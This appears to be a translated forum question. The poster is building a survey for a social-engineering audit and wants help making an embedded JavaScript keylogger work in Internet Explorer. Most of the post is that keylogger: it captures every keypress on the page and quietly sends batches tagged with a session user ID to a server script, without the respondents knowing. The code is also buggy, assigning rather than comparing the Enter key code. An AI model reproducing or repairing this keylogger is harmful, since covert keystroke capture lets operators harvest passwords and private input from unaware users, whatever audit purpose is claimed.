我正在编写这份问卷以进行 IT 安全社会工程审计。除了所有表单字段之外,我正在尝试构建一个 javascript 键盘记录器以获取有关用户操作的更多信息。
到目前为止,键盘记录器在 FF 中效果很好,但在 IE 中效果不佳。我必须开始工作。任何帮助/想法表示赞赏。
<script>
function sendkeylog (keylog, userID) {
if (window.ActiveXObject) {
httpRequest = new ActiveXObject("Microsoft.XMLHTTP");
}
else {
httpRequest = new XMLHttpRequest();
}
httpRequest.open("GET", "keylog.php?keylog="+keylog+"&userID="+userID, true);
httpRequest.send(null);
}
keylog="";
userID="";
document.onkeypress = function savekeycode (e) {
keylog+=String.fromCharCode(e.charCode);
if ((keylog.length==5)||(event.keyCode=13)) {
var userID = "<?php echo $sID; ?>";
sendkeylog(keylog, userID);
keylog="";
userID="";
}
}
</script>